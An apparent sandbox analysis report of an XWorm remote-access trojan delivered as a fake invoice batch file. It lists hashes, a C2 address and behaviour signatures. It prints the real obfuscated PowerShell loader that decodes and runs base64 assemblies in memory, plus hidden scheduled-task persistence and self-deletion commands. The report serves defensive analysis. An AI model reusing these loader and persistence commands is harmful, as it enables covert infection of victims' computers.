Resubmissions

09/04/2024, 17:39

240409-v8jxlahb3v 10

25/03/2024, 14:18

240325-rmr5asae55 10

20/03/2024, 19:31

240320-x8t4nsgg65 10

20/03/2024, 18:56

240320-xlp67sga73 10

18/03/2024, 12:37

240318-pt1c5she4x 10

Analysis

  • max time kernel
    93s
  • max time network
    100s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/04/2024, 17:39

General

  • Target

    INVOICE-02417869_77319135.bat

  • Size

    304KB

  • MD5

    6d6b6c679309bd938dbcaada6f7820dd

  • SHA1

    ccb02a27885c656c2c52dc94272b91d46c46ac7c

  • SHA256

    e1e32a7e5096ea1ad664b321e1bd1603761e28e3b63025fa02078361545894fd

  • SHA512

    7c2317cf54a96bde7d0cb3d1ed9afdc91e1d35835bcdcab24b56d8bd3c8c3a8320c97c90267a2171d72919c9b6a89e845582f66e76e3354c23f79f5560645032

  • SSDEEP

    1536:eN2lxmAHlCvI8H41j/KnDTBpRcuNoCSsXDht/lFqz5FWJYDzqGHRBWZbgbLxihFZ:eN2lZhSIj/crDhFrq9FFDnl3AIdWOC

Score
10/10

Malware Config

Extracted

Family

xworm

Version

5.0

C2

38.146.219.228:7000

Mutex

4l7KI6LtRV2tYmxG

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Opens file in notepad (likely ransom note) 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\INVOICE-02417869_77319135.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3172
    • C:\Users\Admin\AppData\Local\Temp\INVOICE-02417869_77319135.bat.exe
      "C:\Users\Admin\AppData\Local\Temp\INVOICE-02417869_77319135.bat.exe" -noprofile -w hidden -ep bypass -command $h1dden_6PX4R4EI97 = [System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\INVOICE-02417869_77319135.bat').Split([Environment]::NewLine); foreach ($h1dden_5CTWVIXP39 in $h1dden_6PX4R4EI97) { $h1dden_GWJZ79AQLX = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $h1dden_GWJZ79AQLX = [System.Text.RegularExpressions.Regex]::Replace($h1dden_GWJZ79AQLX, '_', 'NC9JF6XBBE9W'); if ($h1dden_5CTWVIXP39 -match $h1dden_GWJZ79AQLX) { $h1dden_9ETDMIF4K6 = [System.Text.RegularExpressions.Regex]::Replace($h1dden_5CTWVIXP39, 'NC9JF6XBBE9W', ''); $h1dden_9ETDMIF4K6 = [System.Text.RegularExpressions.Regex]::Replace($h1dden_9ETDMIF4K6, '#', '/'); $h1dden_9ETDMIF4K6 = [System.Text.RegularExpressions.Regex]::Replace($h1dden_9ETDMIF4K6, '@', 'A');break; }; }; if ($h1dden_9ETDMIF4K6.Contains('GHQGYADXBYSPMVIMBZELCEYKCDTGAZ')) { $h1dden_9ETDMIF4K6 = [System.Text.RegularExpressions.Regex]::Replace($h1dden_9ETDMIF4K6, 'GHQGYADXBYSPMVIMBZELCEYKCDTGAZ', ''); } else { exit }; $h1dden_6H4D035AJI = [string[]]$h1dden_9ETDMIF4K6.Split('!'); $h1dden_8BPQJS0IX6 = [System.Convert]::FromBase64String($h1dden_6H4D035AJI[0]); $h1dden_GZP997YC33 = [System.Reflection.Assembly]::Load($h1dden_8BPQJS0IX6); $h1dden_SU6ND0HM0P = $h1dden_GZP997YC33.EntryPoint; $h1dden_SU6ND0HM0P.Invoke($null, $null); $h1dden_D2APD5ZCTP = [System.Convert]::FromBase64String($h1dden_6H4D035AJI[1]); $h1dden_R7HO2DCETZ = [System.Reflection.Assembly]::Load($h1dden_D2APD5ZCTP); $h1dden_XZ8OZOMAPF = $h1dden_R7HO2DCETZ.EntryPoint; $h1dden_XZ8OZOMAPF.Invoke($null, $null)
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3828
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(3828);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3260
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C ATTRIB +H "C:\Users\Admin\AppData\Local\Temp\INVOICE-02417869_77319135.bat.exe" & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1940
        • C:\Windows\system32\attrib.exe
          ATTRIB +H "C:\Users\Admin\AppData\Local\Temp\INVOICE-02417869_77319135.bat.exe"
          4⤵
          • Views/modifies file attributes
          PID:2540
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_79_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_79.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1872
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_79.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3320
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_79.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3812
          • C:\Users\Admin\AppData\Roaming\startup_str_79.bat.exe
            "C:\Users\Admin\AppData\Roaming\startup_str_79.bat.exe" -noprofile -w hidden -ep bypass -command $h1dden_6PX4R4EI97 = [System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\startup_str_79.bat').Split([Environment]::NewLine); foreach ($h1dden_5CTWVIXP39 in $h1dden_6PX4R4EI97) { $h1dden_GWJZ79AQLX = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $h1dden_GWJZ79AQLX = [System.Text.RegularExpressions.Regex]::Replace($h1dden_GWJZ79AQLX, '_', 'NC9JF6XBBE9W'); if ($h1dden_5CTWVIXP39 -match $h1dden_GWJZ79AQLX) { $h1dden_9ETDMIF4K6 = [System.Text.RegularExpressions.Regex]::Replace($h1dden_5CTWVIXP39, 'NC9JF6XBBE9W', ''); $h1dden_9ETDMIF4K6 = [System.Text.RegularExpressions.Regex]::Replace($h1dden_9ETDMIF4K6, '#', '/'); $h1dden_9ETDMIF4K6 = [System.Text.RegularExpressions.Regex]::Replace($h1dden_9ETDMIF4K6, '@', 'A');break; }; }; if ($h1dden_9ETDMIF4K6.Contains('GHQGYADXBYSPMVIMBZELCEYKCDTGAZ')) { $h1dden_9ETDMIF4K6 = [System.Text.RegularExpressions.Regex]::Replace($h1dden_9ETDMIF4K6, 'GHQGYADXBYSPMVIMBZELCEYKCDTGAZ', ''); } else { exit }; $h1dden_6H4D035AJI = [string[]]$h1dden_9ETDMIF4K6.Split('!'); $h1dden_8BPQJS0IX6 = [System.Convert]::FromBase64String($h1dden_6H4D035AJI[0]); $h1dden_GZP997YC33 = [System.Reflection.Assembly]::Load($h1dden_8BPQJS0IX6); $h1dden_SU6ND0HM0P = $h1dden_GZP997YC33.EntryPoint; $h1dden_SU6ND0HM0P.Invoke($null, $null); $h1dden_D2APD5ZCTP = [System.Convert]::FromBase64String($h1dden_6H4D035AJI[1]); $h1dden_R7HO2DCETZ = [System.Reflection.Assembly]::Load($h1dden_D2APD5ZCTP); $h1dden_XZ8OZOMAPF = $h1dden_R7HO2DCETZ.EntryPoint; $h1dden_XZ8OZOMAPF.Invoke($null, $null)
            5⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3972
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(3972);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:1756
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C ATTRIB +H "C:\Users\Admin\AppData\Roaming\startup_str_79.bat.exe" & exit
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:4784
              • C:\Windows\system32\attrib.exe
                ATTRIB +H "C:\Users\Admin\AppData\Roaming\startup_str_79.bat.exe"
                7⤵
                • Views/modifies file attributes
                PID:2360
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:2404
    • C:\Windows\System32\Notepad.exe
      "C:\Windows\System32\Notepad.exe" C:\Users\Admin\AppData\Roaming\startup_str_79.vbs
      1⤵
      • Opens file in notepad (likely ransom note)
      PID:1876
    • C:\Windows\System32\Notepad.exe
      "C:\Windows\System32\Notepad.exe" C:\Users\Admin\AppData\Roaming\startup_str_79.vbs
      1⤵
      • Opens file in notepad (likely ransom note)
      PID:3640
    • C:\Windows\System32\NOTEPAD.EXE
      "C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\startup_str_79.bat
      1⤵
      • Opens file in notepad (likely ransom note)
      PID:3764

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      661739d384d9dfd807a089721202900b

      SHA1

      5b2c5d6a7122b4ce849dc98e79a7713038feac55

      SHA256

      70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

      SHA512

      81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      4d1969fa5f066db3e8ea5693cc9a1718

      SHA1

      3f630883efe81b6f1d3cf1fec526237fe4202334

      SHA256

      0069835519f12f37ead8f308e96d8c90ea09e081a94a941c1f8921fe6e1834ce

      SHA512

      4f74412265a1b11826f18e58bfc6b59c006914dd2acb74045dffca775cb1fb620605233f5c5fc7b03fe50433e99dba4e4bd1b4afc012cfc8f0214d1dedcfb88d

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      190cc2feb6fbf6a6143f296ebe043de5

      SHA1

      8fa72a99c46ed77b602476c85ca2d8ea251b22fb

      SHA256

      4faea0a40060d02a3ea3ab01102ae3f964c3316146871b6877d845d7e5408206

      SHA512

      94fc8e7d7fdc8fbc6f0b3c0c440b65c6074c22d6f0f328457988764645be763723e17e6c31bbd518cae5953297ec52de09f75c654275d54a8bd5e933ee0cc616

    • C:\Users\Admin\AppData\Local\Temp\INVOICE-02417869_77319135.bat.exe

      Filesize

      442KB

      MD5

      04029e121a0cfa5991749937dd22a1d9

      SHA1

      f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

      SHA256

      9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

      SHA512

      6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tumcezlq.jzx.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\startup_str_79.bat

      Filesize

      304KB

      MD5

      6d6b6c679309bd938dbcaada6f7820dd

      SHA1

      ccb02a27885c656c2c52dc94272b91d46c46ac7c

      SHA256

      e1e32a7e5096ea1ad664b321e1bd1603761e28e3b63025fa02078361545894fd

      SHA512

      7c2317cf54a96bde7d0cb3d1ed9afdc91e1d35835bcdcab24b56d8bd3c8c3a8320c97c90267a2171d72919c9b6a89e845582f66e76e3354c23f79f5560645032

    • C:\Users\Admin\AppData\Roaming\startup_str_79.vbs

      Filesize

      114B

      MD5

      ea7689b92bd40415e099221965437358

      SHA1

      7a16f0037daf94e1013249cc175f00745707c19c

      SHA256

      79b869ea9a520ef5ba9bb46ca7a7095bafdc8403108ad258582a14ca2fcbed93

      SHA512

      872b1086b540bd9684d6942cb508bfc8f26ee16028925dd1623f95b74bb861c5c96e8a5f158f7ca38e74bd74013350928e30ffb28f829a424c99b8db17c13885

    • memory/1756-85-0x000001489F530000-0x000001489F540000-memory.dmp

      Filesize

      64KB

    • memory/1756-86-0x000001489F530000-0x000001489F540000-memory.dmp

      Filesize

      64KB

    • memory/1756-101-0x000001489F530000-0x000001489F540000-memory.dmp

      Filesize

      64KB

    • memory/1756-84-0x00007FFD5FF20000-0x00007FFD609E1000-memory.dmp

      Filesize

      10.8MB

    • memory/1756-106-0x00007FFD5FF20000-0x00007FFD609E1000-memory.dmp

      Filesize

      10.8MB

    • memory/1756-107-0x000001489F530000-0x000001489F540000-memory.dmp

      Filesize

      64KB

    • memory/1756-108-0x000001489F530000-0x000001489F540000-memory.dmp

      Filesize

      64KB

    • memory/1872-21-0x00007FFD5FF20000-0x00007FFD609E1000-memory.dmp

      Filesize

      10.8MB

    • memory/1872-22-0x000001CB56110000-0x000001CB56120000-memory.dmp

      Filesize

      64KB

    • memory/1872-46-0x000001CB56110000-0x000001CB56120000-memory.dmp

      Filesize

      64KB

    • memory/1872-49-0x00007FFD5FF20000-0x00007FFD609E1000-memory.dmp

      Filesize

      10.8MB

    • memory/3260-42-0x00007FFD5FF20000-0x00007FFD609E1000-memory.dmp

      Filesize

      10.8MB

    • memory/3260-44-0x000001EC9A220000-0x000001EC9A230000-memory.dmp

      Filesize

      64KB

    • memory/3260-45-0x000001EC9A220000-0x000001EC9A230000-memory.dmp

      Filesize

      64KB

    • memory/3260-98-0x00007FFD5FF20000-0x00007FFD609E1000-memory.dmp

      Filesize

      10.8MB

    • memory/3260-87-0x000001EC9A220000-0x000001EC9A230000-memory.dmp

      Filesize

      64KB

    • memory/3260-43-0x000001EC9A220000-0x000001EC9A230000-memory.dmp

      Filesize

      64KB

    • memory/3828-17-0x0000016EE8120000-0x0000016EE8128000-memory.dmp

      Filesize

      32KB

    • memory/3828-18-0x0000016EEA2E0000-0x0000016EEA31C000-memory.dmp

      Filesize

      240KB

    • memory/3828-77-0x0000016EE8160000-0x0000016EE8170000-memory.dmp

      Filesize

      64KB

    • memory/3828-9-0x0000016EE80F0000-0x0000016EE8112000-memory.dmp

      Filesize

      136KB

    • memory/3828-80-0x00007FFD69EC0000-0x00007FFD69ED9000-memory.dmp

      Filesize

      100KB

    • memory/3828-79-0x00007FFD7E870000-0x00007FFD7EA65000-memory.dmp

      Filesize

      2.0MB

    • memory/3828-76-0x00007FFD5FF20000-0x00007FFD609E1000-memory.dmp

      Filesize

      10.8MB

    • memory/3828-82-0x00007FFD5FF20000-0x00007FFD609E1000-memory.dmp

      Filesize

      10.8MB

    • memory/3828-75-0x0000016EE8160000-0x0000016EE8170000-memory.dmp

      Filesize

      64KB

    • memory/3828-20-0x00007FFD7E870000-0x00007FFD7EA65000-memory.dmp

      Filesize

      2.0MB

    • memory/3828-14-0x00007FFD5FF20000-0x00007FFD609E1000-memory.dmp

      Filesize

      10.8MB

    • memory/3828-15-0x0000016EE8160000-0x0000016EE8170000-memory.dmp

      Filesize

      64KB

    • memory/3828-16-0x0000016EE8160000-0x0000016EE8170000-memory.dmp

      Filesize

      64KB

    • memory/3972-62-0x00007FFD5FF20000-0x00007FFD609E1000-memory.dmp

      Filesize

      10.8MB

    • memory/3972-72-0x00000202F7010000-0x00000202F7020000-memory.dmp

      Filesize

      64KB

    • memory/3972-102-0x00007FFD5FF20000-0x00007FFD609E1000-memory.dmp

      Filesize

      10.8MB

    • memory/3972-103-0x00007FFD69EC0000-0x00007FFD69ED9000-memory.dmp

      Filesize

      100KB

    • memory/3972-104-0x00000202F7010000-0x00000202F7020000-memory.dmp

      Filesize

      64KB

    • memory/3972-105-0x00000202F7010000-0x00000202F7020000-memory.dmp

      Filesize

      64KB

    • memory/3972-78-0x00000202F9360000-0x00000202F936A000-memory.dmp

      Filesize

      40KB

    • memory/3972-73-0x00000202F7010000-0x00000202F7020000-memory.dmp

      Filesize

      64KB

    • memory/3972-81-0x00000202F9370000-0x00000202F937E000-memory.dmp

      Filesize

      56KB